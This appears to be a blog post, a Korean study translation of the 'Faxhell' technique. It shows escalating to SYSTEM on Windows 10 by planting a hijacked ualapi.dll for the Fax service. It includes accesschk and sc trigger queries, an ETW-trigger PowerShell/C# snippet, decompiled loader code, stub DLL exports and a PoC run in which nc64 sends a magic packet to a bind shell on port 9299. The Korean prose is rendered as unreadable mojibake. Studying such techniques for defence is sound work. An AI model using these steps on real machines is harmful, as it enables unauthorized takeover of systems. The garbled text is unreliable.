Search
๐ŸชŸ

Faxhell

Date
Select
Tags

0. Original Posting

ํ•ด๋‹น ํฌ์ŠคํŒ…์€ ์›๋ฌธ ํฌ์ŠคํŠธ๋ฅผ ๊ณต๋ถ€ํ•˜๋ฉฐ ํ•œ๊ธ€๋กœ ๋ฒˆ์—ญํ•˜์˜€์œผ๋ฏ€๋กœ,
์˜์–ด๊ฐ€ ๋” ํŽธํ•˜์‹œ๊ฑฐ๋‚˜, ๋” ์„ธ๋ถ€์ ์ธ ๋‚ด์šฉ์„ ์›ํ•˜์‹œ๋Š” ๋ถ„์€ ์›๋ฌธ ํฌ์ŠคํŠธ๋ฅผ ์ถ”์ฒœ๋“œ๋ฆฝ๋‹ˆ๋‹ค.
This Posting was only written in Korean
if you want more detailed posting, or prefer English, plz visit original posting

1. Faxhell

DLL ํ•˜์ด์ œํ‚น์˜ ์ผ์ข…์ด๋ฉฐ, Fax Service๋ฅผ ์ด์šฉํ•˜์—ฌ ๋กœ์ปฌ ๊ถŒํ•œ ์ƒ์Šน์„ ํ•˜์˜€๊ธฐ ๋•Œ๋ฌธ์— Fax Shell > Faxhell๋กœ ์ง€์นญํ•œ๋‹ค.
์กฐ๊ฑด
1.
๋†’์€ ๊ถŒํ•œ์œผ๋กœ ์‹คํ–‰๋˜๋Š” ์„œ๋น„์Šค ์ค‘ ์ผ๋ฐ˜ ์œ ์ €์˜ ๊ถŒํ•œ์œผ๋กœ ์„œ๋น„์Šค ์‹คํ–‰์ด ๊ฐ€๋Šฅํ•ด์•ผํ•˜๋ฉฐ
2.
๊ฒฝ๋กœ์— ์กด์žฌํ•˜์ง€ ์•Š๋Š” dll์„ ๋กœ๋“œํ•˜๋Š” ํ”„๋กœ์„ธ์Šค๋ฅผ ์ฐพ์•„์•ผํ•œ๋‹ค.

1.1 ํ™˜๊ฒฝ ์กฐ์‚ฌ

์ฃผ๋กœ ์‚ฌ์šฉ๋˜๋Š” 4๊ฐ€์ง€์˜ ๊ธฐ๋ณธ ์ œ๊ณต ์„œ๋น„์Šค๋ฅผ ํ™•์ธํ•ด๋ณด์•˜๋‹ค.
#### Wmiprvse.exe.
ํ•ด๋‹น ์„œ๋น„์Šค๋Š” C:\windows\system32\wbem\์—์„œ ํŠน์ • ํŒŒ์ผ๋“ค์„ ๋กœ๋“œํ•œ๋‹ค. ํŠนํžˆ Wbemcomn.dll ๊ฐ™์€ ํŒŒ์ผ
1.
์˜ˆ์ „์—๋Š” WMI ์ปค๋งจ๋“œ๋กœ ์Šค์Šค๋กœ ์‹œ์Šคํ…œ ๊ถŒํ•œ ๋ฐ›์„์ˆ˜ ์žˆ์—ˆ๋Š”๋ฐ, ์ง€๊ธˆ์€ ์ง์ ‘ WMI ์ œ๊ณต์ž ํ†ตํ•ด์„œ ๊ถŒํ•œ ๋ฐ›์•„์•ผ ํ•œ๋‹ค.
2.
์•ˆ์ „ํ•œ ํŒŒ์ผ์„ ์˜จ๋ผ์ธ์ƒ์—์„œ ์ด์ œ ๊ตฌํ• ์ˆ˜ ์—†๋‹ค.
3.
๋„ˆ๋ฌด๋‚˜ ์ž˜ ์•Œ๋ ค์ง„ ์„œ๋น„์Šค๋ž‘ DLL์ด๊ธฐ ๋•Œ๋ฌธ์— ๋งŽ์€ ๋ฉ€์›จ์–ด์™€ ๋งŽ์€ ์‚ฌ๋žŒ๋“ค์ด ํ•ด๋‹น ์„œ๋น„์Šค๋ฅผ ํ† ๋Œ€๋กœ POC๋ฅผ ๊ตฌํ˜„ํ•œ๋‹ค.
#### Ikeext.dll
svchost.exe์•ˆ์—์„œ ์‹คํ–‰๋˜๋ฉฐ, c:\windows\system32\ ๊ฒฝ๋กœ์— ์กด์žฌํ•˜๋Š” Wlcsctrl.dll ์„ ๋กœ๋“œํ•œ๋‹ค.
1.
ํ•ด๋‹น dll์€ VPN์ด ๊ตฌ์ถ•๋œ ํšŒ์‚ฌ ๋‚ด๋ถ€๋ง์—์„œ ์ด๋ฏธ ์‹คํ–‰๋˜๊ณ  ์žˆ์œผ๋‚˜ ํ•ด๋‹น ์„œ๋น„์Šค๋ฅผ ์ข…๋ฃŒํ•  ๋•Œ๋Š” Admin ๊ถŒํ•œ์ด ํ•„์š”ํ•˜๋‹ค.
2.
ํ•ด๋‹น ์„œ๋น„์Šค๊ฐ€ ์‹คํ–‰์ด ์•ˆ๋˜์–ด ์žˆ๋”๋ผ๋„, sc start๋กœ ์‹คํ–‰ํ•˜์ง€ ๋ชปํ•˜๋ฉฐ, Rasdial.exe๋ฅผ ํ†ตํ•˜์—ฌ ์‹œ์ž‘ํ•ด์•ผ ํ•œ๋‹ค.
#### Sessenv.dll
svchost.exe ์•ˆ์—์„œ ์‹คํ–‰๋˜๋ฉฐ, C:\windows\system32\ ๊ฒฝ๋กœ์— ์กด์žฌํ•˜๋Š” Tsmsisrv.dll์„ ๋กœ๋“œํ•œ๋‹ค.
1.
RDP ์‹œ์Šคํ…œ์„ ๊ฑด๋“œ๋ฆฌ์ง€ ์•Š์œผ๋ฉด ์‹คํ–‰๋˜์ง€ ์•Š๋Š” ์žฅ์ ์ด ์žˆ๋‹ค.
2.
๊ทธ๋Ÿฌ๋‚˜ Start/Stop ์‹œ ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•˜์ง€ ์•Š์œผ๋ฉฐ, ์‹คํ–‰ํ• ๋งŒํ•œ ๋งˆ๋•…ํ•œ ํŠธ๋ฆฌ๊ฑฐ๊ฐ€ ์—†๋‹ค.
#### Searchprotocolhost.exe ๋ฐ Searchindexer.exe
C:\windows\system32\ ๊ฒฝ๋กœ์— ์กด์žฌํ•˜๋Š” msfte.dll์„ ๋กœ๋“œํ•œ๋‹ค.
1.
๊ถŒํ•œ์ด ์—†๋Š” ์œ ์ €๋Š” ์ง์ ‘์ ์œผ๋กœ ์‹œ์ž‘ํ•˜์ง€ ๋ชปํ•˜๋‚˜ noisy file-system activity๋ฅผ ํŠธ๋ฆฌ๊ฑฐ๋กœ ์‚ฌ์šฉํ•˜์—ฌ ์„œ๋น„์Šค๋ฅผ ์‹คํ–‰ ํ•  ์ˆ˜ ์žˆ๋‹ค.

1.2 ์„œ๋น„์Šค ์ฐพ๊ธฐ

๊ฐœ์š”์—์„œ๋„ ์„ค๋ช…ํ–ˆ์ง€๋งŒ ์•„๋ž˜์˜ ์กฐ๊ฑด์— ๋ถ€ํ•ฉํ•˜๋Š” ์„œ๋น„์Šค๋ฅผ ์ฐพ์•„์•ผ ํ•œ๋‹ค.
1.
์žฌ๋ถ€ํŒ… ํ•˜์ง€ ์•Š๊ณ  ๊ถŒํ•œ ์ƒ์Šน์ด ๊ฐ€๋Šฅํ•ด์•ผ ํ•˜๋ฉฐ
2.
๊ธฐ๋ณธ ๊ถŒํ•œ(User) ๋กœ ์‹œ์ž‘ ํ•˜๊ฑฐ๋‚˜, ์ค‘์ง€ํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•œ๋‹ค.
3.
์‹œ์Šคํ…œ ๊ถŒํ•œ์œผ๋กœ ์‹คํ–‰ ๋˜๋Š” ์„œ๋น„์Šค์–ด์•ผ ํ•œ๋‹ค. (Local Service, Networ Service ์ œ์™ธ) ํ•ด๋‹น ์„œ๋น„์Šค๋Š” Administrator ๊ทธ๋ฃน์— ์†ํ•ด ์žˆ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.
#### Process Hacker๋ฅผ ์ด์šฉํ•œ ๊ถŒํ•œ ํ™•์ธ
Process Hacker ์„œ๋น„์Šค๋ฅผ ์ด์šฉํ•ด์„œ ์ฐพ์•„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.
ProcessHacker โ†’ Service Tab โ†’ Service Double Click(SessionEnv) โ†’ Permission โ†’ advanced โ†’ Double Click(Access Control Entries)
#### accesschk๋ฅผ ์ด์šฉํ•œ ๊ถŒํ•œ ํ™•์ธ
Accesschk๋ฅผ ์ด์šฉํ•˜์—ฌ ๋ชจ๋“  ์„œ๋น„์Šค์— ๋Œ€ํ•œ ๋ชจ๋“  ์‚ฌ์šฉ์ž ๊ถŒํ•œ์„ SDDL(Security Descriptor Definition Language)๋กœ ํ™•์ธ ๊ฐ€๋Šฅํ•˜๋‹ค.
accesschk.exe -c * -L > servsddl.txt
SessionEnv์˜ SDDL์€ ์•„๋ž˜์™€ ๊ฐ™๋‹ค.
SessionEnv O:SYD:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;RPWP;;;S-1-5-80-446051430-1559341753-4161941529-1950928533-810483104)(A;;RPWP;;;S-1-5-80-4130899010-3337817248-2959896732-3640118089-1866760602)
C++
๋ณต์‚ฌ
accesschk.exe์—์„œ l ์˜ต์…˜์„ ์ด์šฉํ•˜๋ฉด ์•„๋ž˜์™€ ๊ฐ™์ด ์ถœ๋ ฅ๋œ๋‹ค.
DsSvc์˜ ๊ฒฝ์šฐ ๋ชจ๋“  ์œ ์ €๊ฐ€ ์„œ๋น„์Šค ์‹คํ–‰ ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ์œผ๋ฉฐ
์ด๋Ÿฌํ•œ ์„œ๋น„์Šค๊ฐ€ 2๋ฒˆ ๋ฐ 3๋ฒˆ ์กฐ๊ฑด์— ๋ถ€ํ•ฉ๋˜๋Š” ์„œ๋น„์Šค์ด๋‹ค.
accesschk.exe -c dssvc -l Accesschk v6.12 - Reports effective permissions for securable objects Copyright (C) 2006-2017 Mark Russinovich Sysinternals - www.sysinternals.com dssvc DESCRIPTOR FLAGS: [SE_DACL_PRESENT] OWNER: NT AUTHORITY\SYSTEM // 3๋ฒˆ ์กฐ๊ฑด ๋ถ€ํ•ฉ [0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\INTERACTIVE SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS SERVICE_USER_DEFINED_CONTROL READ_CONTROL [1] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SERVICE SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS SERVICE_USER_DEFINED_CONTROL READ_CONTROL [2] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM SERVICE_ALL_ACCESS [3] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Administrators SERVICE_ALL_ACCESS [4] ACCESS_ALLOWED_ACE_TYPE: Everyone // ์„œ๋น„์Šค ์‹คํ–‰ ๊ถŒํ•œ ์กด์žฌ SERVICE_QUERY_STATUS SERVICE_START [5] ACCESS_ALLOWED_ACE_TYPE: APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES SERVICE_QUERY_STATUS SERVICE_START
C++
๋ณต์‚ฌ
Fax ์„œ๋น„์Šค ๋˜ํ•œ ์ด๋Ÿฌํ•œ ์กฐ๊ฑด์— ๋ถ€ํ•ฉํ•˜๋Š” ์„œ๋น„์Šค์ค‘ ํ•˜๋‚˜์ด๋‹ค.
accesschk.exe -c FAX -l Accesschk v6.12 - Reports effective permissions for securable objects Copyright (C) 2006-2017 Mark Russinovich Sysinternals - www.sysinternals.com FAX DESCRIPTOR FLAGS: [SE_DACL_PRESENT] OWNER: NT AUTHORITY\SYSTEM [0] ACCESS_ALLOWED_ACE_TYPE: Everyone SERVICE_QUERY_STATUS SERVICE_START [1] ACCESS_ALLOWED_ACE_TYPE: NT SERVICE\Fax SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS SERVICE_PAUSE_CONTINUE SERVICE_START SERVICE_STOP SERVICE_USER_DEFINED_CONTROL READ_CONTROL [2] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Administrators SERVICE_ALL_ACCESS [3] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\Authenticated Users SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS SERVICE_USER_DEFINED_CONTROL READ_CONTROL
C++
๋ณต์‚ฌ

1.3 ์„œ๋น„์Šค ์‹œ์ž‘ํ•˜๊ธฐ

์œˆ๋„์šฐ Vista ์ดํ›„๋กœ, ๋งˆ์ดํฌ๋กœ์†Œํ”„ํŠธ๋Š” UBPM์„ ๋„์ž…ํ–ˆ๋Š”๋ฐ, ํ•ด๋‹น ๊ธฐ๋Šฅ์€ ๋ฆฌ๋ˆ…์Šค, ๋งฅ๊ณผ ๋น„์Šทํ•œ ๊ฒฝํ•ญ์„ ๊ฐ€์ง€๊ณ  ์žˆ๋‹ค.
ํŠธ๋ฆฌ๊ฑฐ๋ฅผ ์ด์šฉํ•˜์—ฌ ์‹œ์Šคํ…œ ์„œ๋น„์Šค ์‹œ์ž‘์ด ๊ฐ€๋Šฅํ•˜๋ฉฐ, PnpDevice ๋“ฑ๋“ฑ // ์ •๋ฆฌ
Service Control Manager(SCM)์€ ์„œ๋น„์Šค์˜ ํŠธ๋ฆฌ๊ฑฐ๊ฐ€ ์ž‘๋™ํ–ˆ์„๋•Œ ์„œ๋น„์Šค ์ƒํƒœ๋ฅผ ์—…๋ฐ์ดํŠธ(์‹œ์ž‘) ํ•ด์ฃผ๋ฉฐ ํŠธ๋ฆฌ๊ฑฐ์˜ ๊ฒฝ์šฐ GUI๋กœ ํ”„๋กœ์„ธ์Šค ํ•ด์ปค์—์„œ ๊ฐ„๋‹จํ•˜๊ฒŒ ํ™•์ธ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.
ProcessHacker Service Tab โ†’ Some Service Double Click โ†’ Triggers Tab โ†’ Trigger Double Click
์•„๋ž˜๋Š” TabletInputService์˜ ํŠธ๋ฆฌ๊ฑฐ์ด๋‹ค
SC ๋ช…๋ น์–ด๋ฅผ ์ด์šฉํ•ด์„œ๋„ ํ™•์ธ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.
sc qtriggerinfo DsSvc // Check a Triggers [SC] QueryServiceConfig2 SUCCESS SERVICE_NAME: DsSvc START SERVICE NETWORK EVENT : bc90d167-9470-4139-a9ba-be0bbbf5b74d [RPC INTERFACE EVENT] DATA : BF4DC912-E52F-4904-8EBE-9317C1BDD497 sc query DsSvc // Check a Service's Status SERVICE_NAME: DsSvc TYPE : 30 WIN32 STATE : 1 STOPPED WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x0
C++
๋ณต์‚ฌ
RPC INTERFACE EVENT๋กœ ๋ผ๋ฒจ๋ง ๋œ GUID์˜ ๊ฒฝ์šฐ MSDN์—์„œ๋Š” ์ด๋ ‡๊ฒŒ ์„ค๋ช…ํ•˜๊ณ  ์žˆ๋‹ค
โ€œThe event is triggered when an endpoint resolution request arrives for the RPC interface GUID specified by pDataItems.โ€
Endpoint Resolution ์š”์ฒญ์ด pDataItems์— ํŠน์ •๋œ RPC๋กœ ๋„์ฐฉํ•  ๋•Œ ์ด๋ฒคํŠธ๊ฐ€ ํŠธ๋ฆฌ๊ฑฐ ๋œ๋‹ค๊ณ  ์„ค๋ช…๋˜์–ด ์žˆ๋‹ค.
rpcping์„ ์ด์šฉํ•˜์—ฌ ์„œ๋น„์Šค ํ™œ์„ฑํ™”๋ฅผ ํ™•์ธํ•ด๋ณธ๋‹ค.
rpcping -t ncalrpc -f BF4DC912-E52F-4904-8EBE-9317C1BDD497 -v 2 RPCPing v6.0. Copyright (C) Microsoft Corporation, 2002-2006 Trying to resolve interface BF4DC912-E52F-4904-8EBE9317C1BDD497, Version: 1.0 Completed 1 calls in 1 ms 1000 T/S or 1.000 ms/T sc query dssvc SERVICE_NAME: dssvc TYPE : 30 WIN32 STATE : 4 RUNNING (STOPPABLE, NOT_PAUSABLE, ACCEPTS_PRESHUTDOWN)
C++
๋ณต์‚ฌ
rpcping์˜ ์‘๋‹ต์„ ํ™•์ธํ–ˆ๊ณ , ํ•ด๋‹น ์„œ๋น„์Šค๊ฐ€ running์ค‘์ธ๊ฑธ ํ™•์ธํ•˜์˜€๋‹ค.
๋˜ ๋‹ค๋ฅธ ํŠธ๋ฆฌ๊ฑฐ๋กœ๋Š” ETW(Event Tracing for Windows) ํŠธ๋ฆฌ๊ฑฐ๊ฐ€ ์žˆ๋‹ค.
sc qtriggerinfo wersvc [SC] QueryServiceConfig2 SUCCESS SERVICE_NAME: wersvc START SERVICE CUSTOM : e46eead8-0c54-4489-9898-8fa79d059e0e [ETW PROVIDER UUID]
C++
๋ณต์‚ฌ
ETW์˜ ๊ฒฝ์šฐ๋Š” PowerShell์„ ์ด์šฉํ•˜์—ฌ ํŠธ๋ฆฌ๊ฑฐ๋ฅผ ์‹คํ–‰ ํ•  ์ˆ˜ ์žˆ๋‹ค.
$Source = @" using System; using System.Text; using System.Security; using System.Collections.Generic; using System.Runtime.Versioning; using Microsoft.Win32.SafeHandles; using System.Runtime.InteropServices; using System.Diagnostics.CodeAnalysis; namespace JosL.WebClient{ public static class Starter{ [StructLayout(LayoutKind.Explicit, Size=16)] public class EVENT_DESCRIPTOR{ [FieldOffset(0)]ushort Id = 1; [FieldOffset(2)]byte Version = 0; [FieldOffset(3)]byte Channel = 0; [FieldOffset(4)]byte Level = 4; [FieldOffset(5)]byte Opcode = 0; [FieldOffset(6)]ushort Task = 0; [FieldOffset(8)]long Keyword = 0; } [StructLayout(LayoutKind.Explicit, Size = 16)] public struct EventData{ [FieldOffset(0)] internal UInt64 DataPointer; [FieldOffset(8)] internal uint Size; [FieldOffset(12)] internal int Reserved; } public static void startService(){ Guid webClientTrigger = new Guid(0xe46eead8, 0x0c54, 0x4489, 0x98, 0x98, 0x8f, 0xa7, 0x9d, 0x05, 0x9e, 0x0e); long handle = 0; uint output = EventRegister(ref webClientTrigger, IntPtr.Zero, IntPtr.Zero, ref handle); bool success = false; if (output == 0){ EVENT_DESCRIPTOR desc = new EVENT_DESCRIPTOR(); unsafe { uint writeOutput = EventWrite(handle, ref desc, 0, null); success = writeOutput == 0; EventUnregister(handle); } } } [DllImport("Advapi32.dll", SetLastError = true)] public static extern uint EventRegister(ref Guid guid, [Optional] IntPtr EnableCallback, [Optional] IntPtr CallbackContext, [In][Out] ref long RegHandle); [DllImport("Advapi32.dll", SetLastError = true)] public static extern unsafe uint EventWrite(long RegHandle, ref EVENT_DESCRIPTOR EventDescriptor, uint UserDataCount, EventData* UserData); [DllImport("Advapi32.dll", SetLastError = true)] public static extern uint EventUnregister(long RegHandle); } } "@ $compilerParameters = New-Object System.CodeDom.Compiler.CompilerParameters $compilerParameters.CompilerOptions="/unsafe" Add-Type -TypeDefinition $Source -Language CSharp -CompilerParameters $compilerParameters [JosL.WebClient.Starter]::startService()
C++
๋ณต์‚ฌ
ํ•ด๋‹น ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜๋ฉด ์„œ๋น„์Šค๊ฐ€ ์‹คํ–‰๋œ๋‹ค.
sc query wersvc SERVICE_NAME: wersvc TYPE : 10 WIN32_OWN_PROCESS STATE : 4 RUNNING (STOPPABLE, PAUSABLE, IGNORES_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x0
C++
๋ณต์‚ฌ

1.3 DLL Hijacking

๋‹ค์‹œ Fax ์„œ๋น„์Šค๋กœ ๋Œ์•„์™€์„œ fax ์„œ๋น„์Šค๊ฐ€ ์‹คํ–‰๋˜๋ฉด, fxssvc.exe ํŒŒ์ผ์ด C:\windows\system32\uaiapi.dllํŒŒ์ผ ๋กœ๋“œํ•˜๋Š”๊ฒƒ์„ ํ™•์ธ ํ•  ์ˆ˜ ์žˆ๋‹ค.
ํ•˜์ง€๋งŒ ์„ธ๊ฐ€์ง€ ๋ฌธ์ œ์ ์ด ์กด์žฌํ•˜๋Š”๋ฐ
1.
ํ•ด๋‹น ์„œ๋น„์Šค๊ฐ€ SYSTEM ๊ถŒํ•œ์ด ์•„๋‹Œ NETWORK SERVICE ๊ถŒํ•œ์œผ๋กœ ์‹คํ–‰๋œ๋‹ค.
2.
ํ•ด๋‹น ์„œ๋น„์Šค๊ฐ€ GetProcAddress API๋ฅผ ์ด์šฉํ•˜์—ฌ ualapi.dll ์—์„œ dllexport ํ•จ์ˆ˜๋ฅผ ์ฐพ๋Š”๋‹ค.
3.
ํ•ด๋‹น ์„œ๋น„์Šค๋Š” ์‹ค์ œ ํŒฉ์Šค๊ฐ€ ์žˆ์ง€ ์•Š์œผ๋ฉด ์‹œ์ž‘๊ณผ ๊ฑฐ์˜ ๋™์‹œ์— ์ข…๋ฃŒ๋œ๋‹ค. ๊ทธ๋ž˜์„œ ํ•ด๋‹น ์„œ๋น„์Šค๋ฅผ ์œ ์ง€ํ•˜๋ ค๋ฉด ์‹ค์ œ ํŒฉ์Šค๋ฅผ ๋Œ€๊ธฐ์‹œํ‚ค๊ฑฐ๋‚˜, ์ข…๋ฃŒ๋˜์ง€ ์•Š๋„๋ก ์Šค๋ ˆ๋“œ๋ฅผ ์‹คํ–‰์‹œ์ผœ๋†”์•ผ ํ•œ๋‹ค.
2๋ฒˆ๊ณผ 3๋ฒˆ์„ ๊ฐ™์ด ํ•ด๊ฒฐํ•˜๋ ค๊ณ  ํ–ˆ์œผ๋ฉฐ,
์ผ๋ฐ˜์ ์œผ๋กœ ์•…์˜์ ์ธ ๊ถŒํ•œ ์ƒ์Šน ๊ณต๊ฒฉ์˜ ๊ฒฝ์šฐ Dllmain์„ ์ด์šฉํ•˜์ง€๋งŒ, ํ•ด๋‹น ์ทจ์•ฝ์ ์€ System๊ถŒํ•œ ํš๋“์ด ๋ชฉ์ ์ด๊ธฐ ๋•Œ๋ฌธ์— ๋” ์–ด๋ ค์šฐ๋ฉฐ, ์ž„๋ฒ ๋””๋“œ ๋ฐ”์ธ๋“œ ์‰˜์„ ๊ฐœ๋ฐœํ•˜๋Š”๊ฒŒ ๋” ํ˜„๋ช…ํ•œ ๋ฐฉ๋ฒ•์ด๋‹ค.
๋‘๋ฒˆ์งธ๋กœ๋Š” Dllmain ์—์„œ ๋ชจ๋“  ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๋Š”๊ฒƒ์€ ์ƒ๋‹นํžˆ ์˜์‹ฌ์Šค๋Ÿฌ์šด ํŒŒ์ผ๋กœ ์ทจ๊ธ‰๋œ๋‹ค.
๋งˆ์ง€๋ง‰์œผ๋กœ Dllmain์€ Dll์ด ๋กœ๋“œ๋ ๋•Œ ํ˜ธ์ถœ๋˜๋ฉฐ, ๋กœ๋” ์ž ๊ธˆ์ด ํ™€๋“œ๋˜๋ฉฐ, ์ƒ๋‹นํžˆ ์–ด๋ ค์›Œ์ง„๋‹ค.
โ€ข
๋กœ๋” ์ž ๊ธˆ์˜ ๊ฒฝ์šฐ dllmain ํ˜ธ์ถœ ์‹œ ๊ถŒํ•œ์— ๊ด€๋ จ๋œ MS ๊ฒ€์ฆ ๋กœ์ง์ธ๊ฒƒ์œผ๋กœ ์˜ˆ์ƒ๋จ. ํ–ฅํ›„ ์ •๋ฆฌ ํ•„์š”
๊ทธ๋ž˜์„œ Dllmain์—์„œ ๋ชจ๋“  ์ž‘์—…์„ ํ•˜์ง€ ์•Š๊ณ  ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์„ ์ฐพ์•„๋ดค์œผ๋ฉฐ, Fax์„œ๋น„์Šค์—์„œ Ualapi.dll์„ ํ˜ธ์ถœํ•  ๋•Œ ๋‹ค๋ฅธ ์„ธ๊ฐ€์ง€์˜ ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•˜์˜€๋‹ค.
__int64 UalOpenSession() { HMODULE v0; // rax DWORD v1; // ecx __int64 result; // rax DWORD v3; // ebx int (__stdcall *v4)(struct tagUAL_DATA_BLOB *); // rax int v5; // [rsp+20h] [rbp-2C8h] __int128 v6; // [rsp+24h] [rbp-2C4h] char Dst; // [rsp+34h] [rbp-2B4h] if ( ualapiModule ) goto LABEL_15; v0 = LoadLibraryExW(L"ualapi.dll", 0i64, 0x800u); ualapiModule = v0; if ( !v0 ) { v1 = GetLastError(); result = (unsigned __int16)v1 | 0x80070000; if ( (signed int)v1 <= 0 ) result = v1; return result; } fnUalInstrument = (int (__stdcall *)(struct tagUAL_DATA_BLOB *))GetProcAddress(v0, "UalInstrument"); if ( fnUalInstrument ) { fnUalStart = (int (__stdcall *)(struct tagUAL_DATA_BLOB *))GetProcAddress(ualapiModule, "UalStart"); if ( fnUalStart ) { fnUalStop = (int (__stdcall *)(struct tagUAL_DATA_BLOB *))GetProcAddress(ualapiModule, "UalStop"); if ( fnUalStop ) { LABEL_15: memset_0(&Dst, 0, 0x29Cui64); v4 = fnUalStart; v5 = 688; _mm_storeu_si128((__m128i *)&v6, (__m128i)SumGuid_FAX); return ((__int64 (__fastcall *)(int *))v4)(&v5); } } } v3 = GetLastError(); FreeLibrary(ualapiModule); ualapiModule = 0i64; fnUalInstrument = 0i64; fnUalStart = 0i64; fnUalStop = 0i64; result = (unsigned __int16)v3 | 0x80070000; if ( (signed int)v3 <= 0 ) result = v3; return result; }
C++
๋ณต์‚ฌ
ํ•ด๋‹น ์†Œ์Šค๋ฅผ ํ™•์ธํ•ด๋ณด๋ฉด, ualapi.dll์„ ๋กœ๋“œํ•˜๊ณ  ์„ธ ํ•จ์ˆ˜(UalInstrument, UalStart, UalStart)๋ฅผ ์ˆœ์„œ๋Œ€๋กœ ํ˜ธ์ถœํ•œ๋‹ค.
Faxhell ์ฝ”๋“œ์˜ ๊ฒฝ์šฐ UalStart์—์„œ ๊ถŒํ•œ ์ƒ์Šน ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋ฉฐ, UalStop, UalInstrument์˜ ๊ฒฝ์šฐ 0์„ ๋ฆฌํ„ดํ•˜๋„๋ก ํ•˜์˜€๋‹ค.
__declspec(dllexport) HRESULT UalStop(PVOID Blob) { UNREFERENCED_PARAMETER(Blob); return ERROR_SUCCESS; } __declspec(dllexport) HRESULT UalInstrument(PVOID Blob) { UNREFERENCED_PARAMETER(Blob); return ERROR_SUCCESS; }
C++
๋ณต์‚ฌ

2. PoC ์‹คํ–‰

โ€ข
ํ…Œ์ŠคํŠธ ํ™˜๊ฒฝ
Windows 10 1709 (16299.15)
1.
faxhell ์ฝ”๋“œ๋ฅผ ๋นŒ๋“œ ํ•œ ํ›„ ํ…Œ์ŠคํŠธ ํ™˜๊ฒฝ์˜ "C:\windows\system32" ๊ฒฝ๋กœ๋กœ ์˜ฎ๊ธด๋‹ค.
2.
fax ์„œ๋น„์Šค๋ฅผ ์‹คํ–‰ํ•œ๋‹ค. (User ๊ถŒํ•œ)
3.
์‹คํ–‰ํ•˜๋ฉด Fax ์„œ๋น„์Šค๋Š” Start pending ์ƒํƒœ๋กœ ์œ ์ง€๋˜๋ฉฐ NETWORK SERVICE ๊ถŒํ•œ์œผ๋กœ ์‹คํ–‰ ๋œ fxssvc๊ฐ€ 9299 ํฌํŠธ๋ฅผ ์˜คํ”ˆํ•˜๊ณ  Listen ์ƒํƒœ๋กœ ๋Œ€๊ธฐ์ค‘์ด๋‹ค.
4.
ํ•ด๋‹น ํฌํŠธ์— ์ ‘์†ํ•˜์—ฌ ๋งค์ง ํŒจํ‚ท์„ ์ž…๋ ฅํ•˜๋ฉด SYSTEM๊ถŒํ•œ์„ ๊ฐ€์ง„ CMD๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค
C:\Users\User>C:\Users\User\Desktop\nc64.exe 192.168.145.137 9299 let me in //๋งค์ง ํŒจํ‚ท READY Microsoft Windows [Version 10.0.16299.15] (c) 2017 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami whoami nt authority\system
C++
๋ณต์‚ฌ

2.1 PoC ์†Œ์Šค ๋ถ„์„

์œ„์—์„œ UalInstrument, UalStop ํ•จ์ˆ˜๋ฅผ ํ™•์ธํ–ˆ์œผ๋ฏ€๋กœ UalStart ๋งŒ ํ™•์ธํ•ด๋ณด์ž.
... while (1) { // // Execute the work callback that will take care of // work = CreateThreadpoolWork(WorkCallback, &hResult, &CallBackEnviron); //Thread Pool ์ƒ์„ฑ ํ›„ WorkCallback ํ•จ์ˆ˜ ํ• ๋‹น if (work == NULL) { goto Failure; } // // Send the work and wait for it to complete // SubmitThreadpoolWork(work); WaitForThreadpoolWorkCallbacks(work, FALSE); if (FAILED(hResult)) { break; } // // We're done with this work // CloseThreadpoolWork(work); } ...
C++
๋ณต์‚ฌ
Thread Pool์„ ์ƒ์„ฑํ•˜์—ฌ WorkCallBack ํ•จ์ˆ˜๋ฅผ ์Šค๋ ˆ๋“œ์— ํ• ๋‹นํ•œ๋‹ค.
์•„๋ž˜์— WorkCallBack ํ•จ์ˆ˜์™€ AcceptCallBack ํ•จ์ˆ˜์˜ ํ˜ธ์ถœ ์ˆœ์„œ๋ฅผ ์ •๋ฆฌํ•ด๋†“์•˜๋‹ค.
์†Œ์Šค์™€ ํ•จ๊ป˜ ๋ณด๋Š”๊ฒƒ์„ ์ถ”์ฒœํ•˜๋ฉฐ, ํ•ด๋‹น ํ•จ์ˆ˜์˜ ๊ฒฝ์šฐ ์†Œ์Šค๊ฐ€ ์ƒ๋‹นํžˆ ๊ธธ์–ด ํฌ์ŠคํŒ…์— ๋„ฃ์ง€ ๋ชปํ–ˆ๋‹ค.
